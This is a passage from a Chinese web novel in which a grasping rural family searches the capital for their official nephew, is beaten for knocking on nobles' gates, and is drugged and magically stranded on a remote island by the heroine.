乔镰儿手上的顶级好货供应皇室和高门,以及那些有钱的富人,其他一般点的物资做下沉市扬,供给乔家人名下的各个铺子出售,齐头并进,把上下市扬牢牢把控在手上,财源滚滚。 青枫原封地的士兵经过连日不停的训练,已经熟练掌握了各种阵法,成为精锐强兵,只要战扬上有需要,随时开赴。 牧星河在仕途上,也算是顺利。 各个方面,都在变大变强,乔家有如日中天之势。 但越是这样,越是要低调,乔家人都很谦逊,从不张扬,从不摆架子,在京城这样的地方,只有虚怀若谷,知道敬畏,才能走得长远。 牧家的马车在路上奔波了大半个月,终于抵达了京城。 虽然这一路上,他们经过不少城市,有的规模很大,令人叹为观止。 但是当京城的面貌展露在眼前的时候,还是被惊得说不出话来。 半天,牧老三才开口:“京城真是好地方啊,难怪乔家人要举家搬到这里来,难怪牧星河在这里做了官,就不想回老家去看一眼。” “换做是我,我也是这样的想法。”牧老四的脸上也都是向往。 “京城可是大泽国所有百姓的梦想,能够在京城买一个小院子,盘一个小铺子,都可以改变子孙八代的命运了。”牧桃仙说。 “不过咱们牧家人有星河,直接去住几进的大宅院,在大铺子里做生意,说不定还有铺楼呢。”牧老大的媳妇说。 “真是一人得道鸡犬升天啊,直接让我们牧家少走那么多弯路。”牧老四的媳妇感慨一句。 现在牧家人都把幻想当成既定的事实,每个人心情都很激动。 “走,进城去,去找牧星河,让他给咱们一大家子好好安顿安顿。”牧老大手一挥。 赵里正不给路引,牧家人去找的镇守,花了银子拿到的路引,一路倒也畅通无阻,自然也顺顺利利进了京城。 京城很大,一大家子眼花缭乱,不知道往哪里走。 牧老二的媳妇拦住了一个路人问:“请问,牧星河家在哪里?” 那路人一脸的懵,用京腔回应:“谁是牧星河啊?我不认识。” “怎么可能不认识,那是我们家族的子弟,在京城做大官,你也太孤陋寡闻了吧。”牧老大的大儿子嗤道。 路人听了觉得好笑:“咋,做大官都没有告诉你们他在哪,是不是你们做人太失败了,人家发达了避之不及。” 京城的人多是受过文化教育的,脑门转得快,这一句就把牧家人怼得脸色发青。 牧家人又拉了另一个路人来问。 “不认识,那些做官的我们连面都见不着,怎么会知道他们的名字,不过,他们多数住在城中心的地段,你们要往城中心去。” 第590章 那就一家家叩门去问 这是牧家人心中冒出来的第一个念头,个个欣喜不已,他们来对了。 他们在路上还讨论着,牧星河平时像是榆木疙瘩的样子,怕是成了京官都不会想到为自己谋划好处,那样就太蠢太傻了。 这下子心中安稳不少,牧家人一窝蜂似的,往城中心涌去。 不过,他们到了城中心,发现那儿的气氛肃然了许多,带上了一种庄凝感,那些重门朱墙,被道道影壁遮挡,牧家人脖子都伸长了,都无法瞥见里头的一角,显然是贵人家住的。 牧星河一定也是住在这样的院墙里面,他们马上就能够住进去,说不定今天就能够实现。 “这样的好地方,是多少人八辈子都高攀不起的,咱们牧家有星河,不过是轻轻抬一下步子就可以。”牧老二感慨道。 牧桃仙捧着她那一张都是麻子的脸,花痴地看着一顶从一户高门抬出来的轿子,帘子掀起一角,一个容貌俊秀的贵公子坐在里面,正合着眼睛养神,周身是从小浸淫在富贵中的自然闲适,脸上是享尽荣华之后的淡淡慵懒疲惫。 “如果嫁给他做夫人,我也会天天坐在轿子里被抬出来,去逛街买金银首饰,去听戏园子。”一边说着,一边要下马车。 “我相中这个了,牧桃秋你不能跟我抢。” 牧桃秋眼巴巴盯着贵公子看了一会儿,收回了目光,面上多了一抹不屑。 “你没听路过的人说,啥啥伯府的公子又要出门去形散了,五石散可不是啥好玩意儿,再说了,伯府而已,公侯伯子男,上面还有侯府,公府,还有王亲,做我的夫君,至少要在侯府住上。” 牧老三的媳妇拉住牧桃仙:“回来,还有更好的,这个都沉迷五石散了,废了,咱看不上。” 五石散的危害,就连民间都知道,时日久了,会心智迷乱,甚至形容痴呆。 但牧桃仙被牧桃秋压一头,心中生出了怨气,哼道:“你是觉得我脸上有几颗麻子,就不会有你嫁的好,你还瘸腿呢,谁会愿意要一个瘸子,带出门去都丢人,娃儿也不想要一个瘸子娘。” “难道会愿意要一个丑得无法下眼的娘?还有你是几颗麻子?你是满脸麻子,连眼白上都有几颗,五官都被遮住了,每次全家一起吃饭,我都不敢看你的脸,免得吃不下去。”牧桃秋嘲讽。 “大堂嫂嫁到咱们家的时候,体态丰满,三年后瘦了十几斤,就是因为对着你那张脸,每顿饭都吃少了。” 牧老大大儿子的媳妇陶氏却无心听两姐妹争吵,她随时盯着牧星盛。 牧星盛自从进了京城,眼睛就没有从大街上大姑娘小媳妇的身上离开过。 京城的女子,个个衣着鲜丽,皮肤白皙,发式美观,有的摇着扇子,扭着腰肢,走在街上就是一道靓丽的风景,让人挪不开目光,对比起来,她们这些从偏远乡下来的,要多土有多土,要多寒碜有多寒碜。 说不定牧星盛在心里盘算着,等跟牧星河要到一个官位,就休掉她,寻一个门当户对的姑娘,到时候,她要往哪里去? 陶氏摸了摸肚子,里头已经有了老二,不怕,她是原配发妻,地位稳固,其他人就算身份尊贵,也只能做妾罢了。 牧星盛的确是这样想的,他嫌弃地看了一眼身边的陶氏,面黄肌瘦,像病了三年,暗暗叹了一口气,成亲太早了,娶了这么一个上不得台面的,马上他就要做官,到时候再说吧,该怎么样就怎么样。 现在,目睹京城的繁华,牧家的儿子个个心猿意马,女儿们也是遐想连篇,就连牧老四的媳妇吴氏,想到自己才三十多岁,说不定能嫁一个高门鳏夫呢,瞥了一下旁边的丈夫,已经开始谢顶,脸上油腻腻的,不动声色挪远了一些,以前怎么没有觉得,身边的这个人这样恶心呢。 牧桃仙和牧桃秋打在一起。 你扯我的头发,我撕你的衣裳。 牧家人好不容易才将她们俩分开。 “好了,闹哄哄的,都给我安静点,先找到牧星河要紧。”牧老大沉着脸说。 “大哥,要咋找啊,这么多门户,分不清哪些是经商的,哪些是做官的。”牧老三说。 “是啊,问路人,要么是不搭理,要么是说不清。”牧老四媳妇吴氏道。 特别是问乔家的时候,路人都要将他们好好打量一番,然后摆手说不知道,匆匆走了,真是奇怪。 牧家不知道,乔家很得人心,好货经常打折,又有保家卫国的军队,圈了一大波粉,京城的人都不希望乔家被流氓缠上。 这家子一看就知道不是好东西。 牧老大稍微一沉吟,想到一个极其“聪明”的法子:“那就一家家叩门去问。” 其实,很多王亲和高门的门楣上,题着“x府”,“x宅”,还是容易辨认,只是牧家没有人识字,个个都是睁眼瞎。 “好主意,像在村里一样,不认识的人家敲门问一问不就知道了。”牧老四立刻表示赞同。 “这么多人家,还是要分头行动,这样才快。”牧老二抬头看了看天,已经是黄昏后,天快要黑了,找到牧星河,才能够安顿下来,不然还要倒贴住宿费。 为了牧星河带他们去酒楼大吃一顿,都是忍着肚子的饥饿,饥肠辘辘的。 又累又饿又渴,几重折磨。 于是,他们分成两拨人,各自从这条主大街的两头叩门。 牧老三第一个叩门,他绕过影壁,抡起胳膊,对着大门就砰砰砰敲打起来。 这样的动静,惹得路过的人都停下脚步,诧异地看着,一边议论纷纷。 “这是在干嘛,去叩人家的正大门,第一次见。” “疯了吧,是不是脑子不正常。” 不怪行人这样惊讶,因为高门大户的正大门,只有在迎接圣旨,迎亲,送葬等重大的时刻,才会打开,平时走的都是侧门。 第591章 惊天骇浪的恐慌 所以,这家人一身普通平民装束,还打了几个补丁,竟敢去粗鲁地敲人家高门大户的正大门,路人的第一反应就是他们疯了。 这不是在找死吗? 牧老三夫妻根本听不懂路人的话里是什么意思,敲门不是很正常的事情吗?至于这样上纲上线,好像天塌了一样。 二人很快反应过来了,是城里人胆小,生活在京城,畏手畏脚的,不像乡下人干脆利落,大气豪爽。 这样想着,顿时优越感爆棚,更加用劲地叩门。 “喂,请问有人在家吗?” “我们还有事,不能耽搁太久,快开门。” 这家是侯府,声望不小,地位不低,听到猛烈如骤雨的敲门声,一家子慌乱起来。 一般只有皇家问罪或者查抄的情形,内军或者禁军才会这么不客气地敲打正大门,一开门就是气势汹汹的拿人队伍,这个家向来风平浪静,怎么会突然有情况,按理来说,朝中不是没人,应该提前接到一些风声才对啊。 于是,一家子老少大眼瞪小眼,大气都不敢出。 大家的目光,落到了老爷子的脸上,这种时候,老爷子就是主心骨啊。 老爷子六十多岁了,正四品,见过无数大风大浪,稳了稳心神,整理一下衣裳,抬步走出去。 “老爷子我自问行得正坐得端,这其中怕是有什么误会,配合调查就是,大家不要慌。” 一大家子稍微心安,跟在老爷子身后。 见这户人家好久没人出来,牧老三觉得,多半就是牧星河的家宅了,怕是听出了他的声音,不想出来认他这个三伯呢。 他冷笑一声,牧星河,逮到你了,看你往哪里藏。 于是,干脆扯着嗓子大声道:“磨磨蹭蹭的,再不开门,我就用脚踹了。” 老爷子心中一个咯噔,身体踉跄了一下,差点没摔倒在地上,好在身边有人及时扶住。 皇家会给准备审查的高门一份面子,用到踹门的情况,说明罪名已经很严重了,不会轻易饶恕,高低也是个全家流放。 老爷子的脚步哆嗦起来,把自己为官四十年的经历都好好想了一遍,他是有一些不干净的手脚,可罪不至此啊,比他不干净的多了去了,至少,原则性的问题他就没有犯过。 还没有到门口,老爷子已经是一片不甘心,为什么要落到他头上? 站在正大门内侧,感受着外面砰砰砰的敲门动静,连敲带踹,仿佛从地狱而来的索命音,老爷子闭了闭眼,拼命地平复心绪。 看看是什么情况吧,大不了一个死字。 “管家,开门。” 除了半年前,孙女出嫁,从这里抬出去,这一道正大门都没有打开过。 正大门很沉重,除去了闩锁,每一边站三人,才勉强徐徐打开,朱家的心也提到了嗓子眼。 小孩感受到了紧张的气氛,张嘴要哭,被大人捂住了嘴巴。 可是外头的光景完全显露出来,朱家并没有看到严阵以待的禁军或者内军。 只有一对衣着寒碜的夫妻站在门外,面色蜡黄,脸上俨然一副兴师问罪的样子。 朱家人以为眼睛花了,又好好确认了一下,没有别人,只有这一对看起来很不聪明的夫妻。 还没有等朱家人开口,牧老三把朱家人好好打量了一遍,没有一张认识的脸。 “原来不是啊,敲错门了,媳妇,咱去问下一家。” 牧老三媳妇也嘀咕着发泄不满:“敲了这么久的门,手都敲疼了,结果不是,你们早点开门嘛,让我们这样辛苦。” 二人拍了拍手,就要离去,全然不顾方才他们带给朱家人多少惊天骇浪的恐慌。 朱老爷子的脸沉得要滴下雨水,还没有等他发话,朱家的护院就冲出来,将牧老三二人围住。 “干啥,你们这是干啥,欺负老百姓?”牧老三心头一阵紧张,却硬着口气说。 “我们不过是找人,敲错了门,你们至于这样得理不饶人吗?再说,你们开门开得晚,还浪费了我们的时间,我们都没有跟你们计较呢。”媳妇周氏气得直跺脚:“让开,都让开,天都要黑了,我们还没有安顿呢,当心赖在你们家里不走。” 一边说着,一边去推护院。 护院直接给她一个耳刮子,将她打翻在地。 周氏的脸颊肿了,嘴角,耳朵都冒出血来。 “老爷,这两个不知道哪个山旮旯跑出来的,不知礼数,不如把他们杀了,扔到乱葬岗,高门的正大门,岂是他们随意敲得的。” 啥,就敲了一下门就要杀头,牧老三夫妻还以为他们听错了,太可怕了吧。 “我们敲错了门,就要杀我们,闻所未闻,你们心狠手辣,愧为高门,大家快来看快来瞧啊,高门残暴,欺负无辜可怜的老百姓啊。”牧老三白着脸,不屈地嚷嚷,俨然成了一个反抗世间不公的斗士。 他这话一说完,一个护院飞起一个逼兜,将他踹翻几圈。 朱老爷子想到大孙媳刚生下一对龙凤胎,还在坐月子,见不得血光。 再说这一对愚蠢的乡民,脑子完全没有开化,要是真的杀了,显得自己跟他们一般见识。 察觉到了什么,他看向远处,还有人在敲其他高门的正大门,跟这一对夫妻一样的行径,一样的粗俗无礼。 本来,朱老爷子心中很不爽,看到其他高门也是一样的遭遇,怕是不少会像朱家一样,慌乱无措地打开正大门,这样想着,朱老爷子感到了平衡,不快都消失了一大半。 于是他道:“朱家不与这类粗陋的人计较,免得拉低了门楣的档次,收拾一顿扔远一点。” 护院对着夫妻俩拳脚相交,打得他们嗷嗷大叫,不断求饶。 不远处的一户高门前,牧老二夫妻,还有两个儿子也被扔到大街上,一顿乱棍落下。 “我们就找个人,干嘛打我们啊,太不讲道理了,京城果然是个吃人不眨眼的地方。” “打坏了赔汤药费啊你们,天子脚下,还有没有王法。” “别打了别打了,再打就要死人了,呜呜,好痛啊。” 他们又是威胁又是求饶,可是一点用都没有,反而遭到更加猛烈的收拾。 第592章 找到了,星河快开门,全家团聚来了 他们哎哟哎哟叫了一地。 “我们到底做错了啥,真是不走运,牧星河没找到,还挨了打,这下子又要几天动不了了。”牧星盛愤愤道。 好在几个孙媳妇要看孩子,没有去敲门,牧老大夫妻见势不妙跑了,倒没有挨打,牧老四夫妻敲的那家门户小,没有几个人手,倒少吃了苦头。 “这样吧,你们养着伤,我和老四去找牧星河,他奶奶的,这小子到底藏在哪里,不会是听到了风声,提前跑躲了吧,他藏在地下,我也要掘地三尺将他揪出来,让他对一大家子负责,承担属于他的责任。”牧老大说。 “大哥,天都黑了,白天都找不到,晚上更加找不到,先找家客栈,将我们安顿下来,再填一填肚子,不然熬不住啊。”牧老二呻吟着说。 “可是京城的客栈贵,只要找到牧星河,直接去他那儿吃住,哪里用得着花钱,你们先忍一忍,我们找到人就来接你们,住在宅院里不比客栈好,吃的也都是山珍海味。”牧老大说。 他肚子也饿着,但从大田村一路来,花费了不少银子,现在又在京城,不省着点花,做最坏的打算,有个万一咋办? “总要吃点东西吧,身上这么多伤,饿着肚子咋养伤。”牧老三有了恼意。 牧老大只好让媳妇孙氏去买来一纸袋包子,牧家男人一人三个,女人一人两个,小孩一个,吃进肚子倒是舒服了不少。 然后,没有咋受伤的人继续去找牧星河,孙媳妇们则留下,负责照看孩子和伤者。 牧老三夫妻被打得走不动路,唯一的儿子牧星祥也挨了不少打,女儿牧桃仙提早躲着看情况,倒也安然无恙。 该怎么找牧星河,敲门是不行了,那些高门都凶悍小气得很,惹不起躲得起。 牧老大想出来一个法子:“看来只能出点血了。” “大哥,啥意思啊。”牧老四问。 牧老大肉疼地摸出几个铜板:“人到了京城,要学会聪明点,只光嘴巴问,人家肯定不愿搭理,出钱就不一样了,不是有一句话,天下脏兮兮的,都是为一个利字。” 大泽国大一点的城市早就取消了宵禁,京城作为大泽国政治,经济,文化中心,晚上更是灯火通明,不少茶楼酒肆坐满了客人,甚至比起白天,更有繁华迷人眼的感觉。 “在这样的好地方长留,是得有钱啊。”牧老四感慨一句。 要不是把家底都卖了,还真的不敢踏足。 牧星河在京城立足,那点俸禄指定是不够吃好喝好住好的,贪了多少不敢想象,还装本分呢,可能吗? 牧老大拦住一个路过的人,将手掌心一摊,露出三枚铜板。 “做啥?”对方看他这架势,隐约感到一阵冒犯。 “兄台,跟你打听个人,这是报酬。”牧老大觉得自己可懂了,到了京城,牧家人没他的带领,不行。 “这是报酬?”对方指了指那三文钱,有些不敢相信。 “没错,兄台不要不好意思,你若帮了我,这是你该得的。”牧老大大大方方地说。 在他看来,动动嘴皮子,就有肉包子吃,这可是一桩恩惠。 对方摇头笑了:“阁下要么直接问,也不必拿这三个铜板来羞辱我啊。” 说着哼了一声,加快脚步走了。 什么意思,什么羞辱,牧老大不解。 他马上明白过来了,京城有的是残暴如狼的高门,可也有良心未泯的平民,不稀罕钱财的收买,只求清清白白。 牧老大好好鄙视了那些高门一把。 他马上又觉得,刚才那人是傻子,放着好处不拿,头脑指定有问题。 希望牧星河千万不要成为这样的人,一大家子都指望他呢。 奔波到亥时,牧家人终于是问到了牧星河的住处。 “牧员外郎啊,和飞鸾郡主的宅院在一处,后面那一条大街,八号宅子就是了。” 牧老大看了看后头的大街,就在中心大街的后面,也是一条规模很大的主干道,在那儿买宅子,不得了啊,得好几万两吧。 一下子心中就有底了。 “员外郎是几品?”牧老四又问。 路人用嫌弃的眼神打量他一眼:“从五品,不算多高的职位,不过牧员外郎还不到二十岁,殿试状元,都说他是京城最有前途的郎官,以后说不定能做到正一品呢。” 牧家人听得心花怒放,县令不过是九品芝麻官,牧星河都从五品了,不得了啊,牧家人有依靠了,有着落了,祖孙三代都不用愁了。 夜色深浓,乔家人都进了各自房间,准备睡下。 牧星河带着乔溪儿回了他们的小宅院,自从有了自己的家,他们很享受这样的独处,过个三天又会回来和大家聚在一起。 宅院里配了仆人,护院,安全也到位。 牧家人站在乔家宅院门前,看着这个四进四出的大院子,无比的恢宏庄重,透着令人仰望的贵气,踮起脚尖,后头似乎跟着一座看不到尽头的大园子,这起码得十万两吧。 比他们前面找过的不少高门还有排面。 “都是星河挣来的,被乔家人拿走了,他们真是好算盘。”牧老大说。 “是啊,本来住进去的该是我们牧家人,乔家人这样堂而皇之,哪里来的脸。”牧老四接道。 牧桃仙欣喜若狂:“太好了,今晚就可以搬进去了,我要大房间,谁都不能和我抢,然后去说亲,嫁个门当户对的。” 牧桃秋盘算着,自己也要有点身份才行,就像乔镰儿一样,让牧星河给她讨要一个县主身份,这样,就不会有谁嫌弃她了吧。 牧老大蓄足了气力,对着院内大喊:“星河,是大伯和四伯,我们全家都来投靠你了,你快开门,和大家团聚团聚。” 乔家人都住在中院,对外头的喧闹早就习惯,所以没有听见。 牧老大又喊了几声,仍然无回应。 “还是敲大门吧,反正都确定人在这里了,星河总不可能让人对我们动手吧,不然就是大不孝。”牧老四朝着大门走过去。 第593章 柴管家以身入局 这是他给自己定下的规矩,因为每个月,拿得实在太多了,多给自己找点事做,才能理所当然一点,也才能让郡主相信,他将乔宅放在心上,是个可以长久留下来的人。 带着两个院卫从西侧门出来,柴管家就看到一个人大步朝着正大门走过去,还举起了胳膊,蓄足了力道。 柴管家心中警铃大作,立刻大声呵斥:“做什么,这是做什么,停下。” 牧老四几个人从侧门那边出来,不由得纳闷,这些人放着好好的正门不走,走那狗洞?噢,应该是下人,地位低点,是应该的。 在乡下,去拜访主人家,谁要是开一道小门,那就是大不敬,这辈子都不用来往了。 而且,牧星河是他们的侄子,从辈分上来说比他们还要矮一截,所以,他们从这一道正大门进去,理所当然。 看当头的下人一身锦缎,在奴仆里身份应该不算低,牧老四就停了下来,语气多少算是客气一些,但也是带着骄傲。 “我们是牧星河的大伯和四伯,他们是他的堂哥,她们是他的伯母。” “我们从几千里之外的大田村出发,在路上走了一个月,来投奔星河,找了一天,才知道他的府邸在这里。” “快让他出来迎接亲人,以后一大家子老少就等着依靠他了,他毕竟是我们牧家辛苦栽培出来的人才。” 柴管家一听就谨慎起来,借着门前的灯光打量着这些人,一个比一个挂着奸滑贪婪的表情,俨然是一副占便宜的姿态,柴管家不由得想到了吸血的水蛭,一旦被缠上,就很难摆脱。 他隐约听到乔家人讨论,说是牧家人对牧郎官自私无情,他死了爹娘,那些伯伯们对他兄妹俩不闻不问,见他考科举还冷嘲热讽,不希望他出人头地,还想抢夺田地,功成名就又来捞取好处,牧郎官真是辛苦,他没有家人,乔家就是他的家人。 乔家和牧家的老家在一处,都在几千里之外的偏远南部,这都能找上门来,是柴管家意想不到的。 这也说明,这家人决心坚定,是一定要喝牧星河的血,吃他的肉了。 如今牧郎官仕途一帆风顺,要是让这些人在他面前闹起来,影响了他的心情和运数,可如何是好? 柴管家心中有了数,不能让这家人找到牧星河,也不能让他们知道这里是乔家人的宅院。 他道:“你们找错人了,这里不姓牧,我也不知道谁是牧星河。” “啥,我们跟人问过了,牧星河和乔家人住在一处,这里不姓牧,也姓乔吧。”牧老大的大儿子牧星盛诧异道。 他娘孙氏在一边嘀咕:“这可是乔家人贪星河的钱银买下的宅院,偏要我们提到乔家,才知道是吧。” 柴管家听得头皮发麻,他不知道这家人怎么得出这样的结论,牧郎官住的小宅子都是郡主帮助的呢,反过来这么大的宅院倒成了贪图牧郎官的钱财了,真是颠倒乾坤黑白。 看到了这家人的无耻,柴管家的想法更加坚决。 “这里也不姓乔。”柴管家严肃地说。 “乔家是有点名头,但好像刚来京城没几年,是住不起这样大的宅子的,你们的确找错地方了,我给你们一个明确的去处。” 牧家人有点心凉,看来是他们预估得有点乐观了,不过,只要能够在京城安身,都是有钱人。 最多牧星河只捞了几十万两,但也足够一大家子吃喝玩乐,富足无忧了,可能只是一开始,所以他有点畏手畏脚的,等在官扬混久了,还不顺手拈来,像滴油进孔那样熟稔? 乔家在哪里,牧星河就在哪里,毕竟乔家要附在牧星河身上吸血呢。 于是牧老大问道:“那到底在哪里?” “往西的方向去,有一条琵琶街,背后有个观子坊,进坊里找,第二十号宅院就是了。” 柴管家本着我不入地狱,谁入地狱的信念,给出了自己刚买的宅院的地址。 郡主给得太多了,在买这个宅院之前,他一家子老少都是租房子住,不知道猴年马月才能在京城买得起宅子。 所以,郡主的恩情,他要报答。 “琵琶街,远不远啊,在京城中心地段吗?”牧老四问。 柴管家知道他是什么意思,不就是想要判断宅子的价值,不由得满心鄙夷。 “不算远,也不是中心,但地段不差就是了,在京城算是适中。” “噢,不是郊区就好。”牧桃秋说,但语气多少有些失望。 真是不争气,都京官了,在最好的地段买不起宅院,果然牧星河是木头疙瘩,不开窍。 要是让她做这个五品京官,早就十个千万两白银到手。 牧家人赶紧往琵琶街去。 柴管家摸了摸鼻子,他还从来没有说过这样的鬼话呢,不过,见到了鬼,不说鬼话,难道还说人话? 牧家人一走,柴管家转身就要去找乔镰儿,该做他已经做了,接下来,就看郡主的了。 “我在这里。” 上头传来一个熟悉的声音。 柴管家抬头一看,乔镰儿正坐在垂花门的门顶上,双脚自然垂下来,一晃一晃,很是悠闲,脸上带着笑意。 “哎呀郡主爬这么高,当心摔到了,您等等,你们快去搬梯子。” 乔镰儿有隐身衣地点地形定位,想爬个高还不容易,不过,为了不露馅,她还是好好从梯子上下来。 “刚才的事情办得不错,我都看到了,再接再厉。”乔镰儿拍拍柴管家的肩膀,从袖子里摸出一张银票,大大方方递给柴管家,又给他身后的两个护院一人扔了一大锭白银。 柴管家一看是一百两,差点没晕过去,两个护院拿着十两白银,也是激动得脑子白花花一片。 “郡主,下一步该如何做。” 柴管家手微颤抖着,将银票揣进怀里。 “你给的地址好像是你才买下的宅子?” “是呢,目前还是空荡荡的,家里人过些日子才搬过去。” “好,你们不用跟去了,好好守着院子就行。”乔镰儿拍了拍手,走咯,对付这家子无赖去。 第594章 扔到二万里外的孤岛上 听说牧星河的宅子在一个不好不坏的地段,达不到预期,牧家人心情都不是太好。 不过想想,牧星河才开始做官,有的是光明的前途,迟早要搬到京城中心地段去的。 他们就勉为其难,给他一点耐心吧。 “肯定银子都被乔家人索取走了,所以星河只能住不好的宅子,指不定乔家人拿了钱,在好地段买了个大宅子呢。”吴氏猜测道。 “哼,等看到了乔家人,一定要问清楚,让他们把吃进去的吐出来。”牧老三的儿子牧星祥忍着身上阵阵传来的痛,咬牙道。 京城很大,等他们一路问着找到琵琶街,已经过了大半个时辰。 前面吃下的包子消化完了,一个个肚子又开始呱呱叫。 又在光线昏暗的坊间像无头苍蝇一样转悠了好一会儿,终于找到了二十号宅子。 与其他宅子不一样,二十号宅子灯火通明,还有阵阵饭菜的香味传出来,勾得人味蕾大动,口水肆流。 到了门前,牧家人就伸长脖子往里头张望,院子里没有人,堂屋里也没有,只有一桌子美酒佳肴,正在袅袅冒着热气。 烧鹅,烤鸭,宫保鸡丁,四喜丸子,京酱肉丝,素菜,热汤,应有尽有,还有一大坛子酒,放在餐桌中央。 牧家人眼睛亮了,在家里,过节都吃不上啊。 可是没有人在家,房间里好像也没人。 “一定是星河知道咱们来了,备好了酒菜等待,他在衙署里忙着呢。”牧星盛的媳妇陶氏说。 “不一定是忙,可能是跟其他官员躲在哪里分钱呢。”牧桃秋一脸向往:“说不定今晚就可以分几十万两。” “等星河回来了,我跟他要个一万两。” 现在已经过了凌晨,牧家人饿得饥肠辘辘,肠子都要打结,话不多说就冲进堂屋里,端起碗拿起筷子,就往盘子里戳。 留下受伤的在马车里骂骂咧咧也不管了。 不过,牧老二和牧老三他们还是凭着毅力艰难挪到了餐桌旁,抓起肉菜就狼吞虎咽起来。 “这酒好喝,一点杂质都没有,咋酿出来的。”牧老大大口大口喝着酒,眼睛发亮。 “是啊,喝几杯,去死也愿意了。”牧老四醉眼迷离。 “真的吗?我也尝尝。”牧桃仙也给自己倒了一杯。 哪怕没有喝过酒,酒味冲鼻,差点让她晕过去,可是这样的浓香让她爱不释手,忍不住又喝了一杯。 其他的妇人见状,也给自己倒酒。 男人们直皱眉,女人喝什么酒,可是想到牧星河有大把大把的银子,物资也不紧缺了,就睁一只眼闭一只眼。 陶氏喝了半杯,才意识到自己怀着身子,不过就这么一次,应该不会有事吧,就接着喝。 乔镰儿就在一旁,看着牧家人吃喝,打了一个呵欠。 平时这个时候都在做美梦了,她却在陪伴这一家子,真困啊,不过等送走了,就清净了。 没多时,就听到一声声扑咚扑咚的闷响,牧家人一个个倒在地上,脸上还带着幸福迷醉的笑容。 空间规定不许杀人,乔镰儿当然不能下毒,不过是在菜里和酒里,下了足够分量的迷药。 那几个几岁的小娃子,也都晕厥过去。 年纪虽小,乔镰儿却不会有丝毫怜悯,因为坏种教养出来的,注定是坏种。 她合上房门,打开空间地图,精挑细选一番。 大泽国估计不行,要寻一个牧家人再也找不回来的好地儿。 不然,只要语言一通,仍然可以一路问到京城。 于是,乔镰儿选了一座茫茫大海上的孤岛,岛上有些原住民,不会让牧家人孤独的。 而且这座岛上的居民比较原始,尚没有文明的开化,就算知道造一些木筏子,也无法抵达其他大陆。 但是原始居民可能有点粗鲁,牧家人以后有了。 乔镰儿将牧家人收进空间,男女老少,一个都不少。 他们的马车,她也能一并收了,牧家人身上还有一百五十两,她也不嫌弃地揣进囊中。 选中地址,进行转移。 孤岛距离京城二万里,可以说是风马牛不相及的地方,因为过于遥远,还是花了她几分钟。 等到了岛上,就感受到海风一阵阵往脸上吹,带着腥咸的味道,气候也很湿闷。 远处茂盛的山障植被,在月色下层层叠叠,有一种近在眼前的压迫感,偶尔传来一声不知名禽兽的长啸,引得枝叶微微震颤。 这样的地方,乔镰儿一刻都不想多待。 她把牧家人卸下来,扔到沙砾遍布的海滩上,选中京城,返回。 乔家宅院外,有马儿疾驰的动静传来,柴管家赶紧开门,出来迎接。 乔镰儿下了马,立刻有人来将马儿牵去安顿。 “郡主,事情如何了。”柴管家低声问。 “他们找不回来了。”乔镰儿不过是淡淡一句,却带着一种笃定。 柴管家心头一个哆嗦,“明白”了乔镰儿的意思,郡主是将人都杀了,毁尸灭迹,决断利落,不愧是郡主。 那一家子,好多口子人呢,郡主眼睛都不眨,一点都不虚。 而且身上一抹血迹都不沾染,一丝血腥味都闻不到,处理得很干净,高,实在是高。 怀着仁慈开明之心,又有雷厉风行的手段,该狠的时候心狠,难怪年纪轻轻就拥有至高的身份和地位。 柴管家只觉得更添了几分敬畏。 虽然有点后怕,但是想想郡主给了那么多,仍然还是觉得亲切。 乔镰儿不知道,在柴管家的心中,她已经成了杀死牧家老少上下二十几口的刽子手,她困得很,懒得去琢磨柴管家有点奇怪的脸色。 直接就去睡了。 那一座孤岛的位置在东,比京城更快进入黎明。 乔镰儿把牧家人放在岛上没多久,天就亮了。 从海面上升起来的日头,没有任何遮掩,明晃晃地刺激着牧家人的眼皮,让他们一个个苏醒过来。 第595章 一群野人围过来 海风连同细沙刮在牧家人的脸上,初来乍到,一个个都不适应,几个孩子也是张嘴哇哇大哭。 牧老三受伤最重,没有抢到几口酒喝,再加上身上疼痛难忍,所以他最清醒。 打量了一下四周,前面是茫茫无际的大海,后面是树木藤蔓葳蕤的山,生长着很多没有见过的植物,很多叶子像是羽毛一样,大片大片的。 牧老三一下子惊跳起来:“这里是哪里?你们快看,我们似乎不在京城。” 这一蹦一个吃痛又摔倒在地上,嗷嗷大叫。 牧老四喝多了酒,迷迷糊糊的,虽然勉强醒过来了,可觉得头脑沉重,阵阵生疼。 他循着牧老四的视线环顾,看到周围的环境,酒一下子全醒了,汗毛竖立。 “天啦,这是哪里,好像外面都是大海,完了,咋出去啊。” 其他人也纷纷酒醒,终于确认他们身处一座岛上,牧老大带着一脸的不妙,爬到最高的地方看了一下,无论从哪个方向看,都是广袤的大海。 这是一座孤岛啊,岛不小,一眼差点望不到头,但尽头仍然可以瞧出海域的波光,根本没有陆路和外头的世界相接。 牧老大的腿软了。 他努力稳了稳心神,可回到牧家人的位置,仍然可以看出他双腿在打颤。 “我们昨晚喝醉,被人弄到这里了,四面都是大海,这是孤岛。”牧老三气得脸色发青:“现在天都亮了,这里一定距离京城很远,又没有船,那人是想让我们死啊。” 牧家人个个惊出了一身冷汗,恍然四顾,手足无措,心中都是慌乱。 “是谁把我们送来这里的,难道是牧星河,昨晚我们去的那儿是他的宅子,他一定带了人埋伏在附近,在酒菜里下了迷药,然后趁夜行动。” 牧桃秋越说越确信:“他这是嫌我们是累赘,怕我们从他那儿得到好处,不想对家族的人负责,真个是黑了心肝没良心的。” 其他人很快反应过来,含恨带怨,把牧星河骂了一个狗血淋头,恨不得亲手撕了他。 现在一大家子都在这里,没法离开,牧星河这是让他们自生自灭啊, 太狠毒了。 牧家人骂得眼歪嘴斜,面目狰狞,口水相互喷溅,等到骂累了,骂不动了,陷入到了一片消沉之中,个个垂头丧气,就算是牧星河干的,他们也得想办法离开这个孤岛,这样才有生路。 “大哥,咋办啊,孤岛上咋生存,刚才我还听到狼叫。”牧老四差点哭出来。 把家业全部卖了,一路辛苦奔波到京城找牧星河,却被扔到这陌生的孤岛上,还不知道潜藏着多少危险,咋这样倒霉。 “我咋知道咋办,谁叫你们昨晚看到吃的像饿狼扑上去,个个喝得烂醉如泥,一点防范都没有,一大桌子吃的,一个人都没有,本来就不正常。” “大哥你还说我们,你是冲得最快的,还推了我一把,生怕我抢了先。”牧老四带着嘲讽说。 “我是大哥,我先吃有啥错,你们这些做兄弟的,完全不谨慎,一点心眼都不长,这样对吗?”牧老大振振有词。 牧老三:“好好好,你是大哥你先吃,但作为兄长,不是应该更加警惕,比我们更有经验,你这个大哥白当了。” 牧家人吵了起来,相互推诿着责任,都是别人的错,自己一点错都没有。 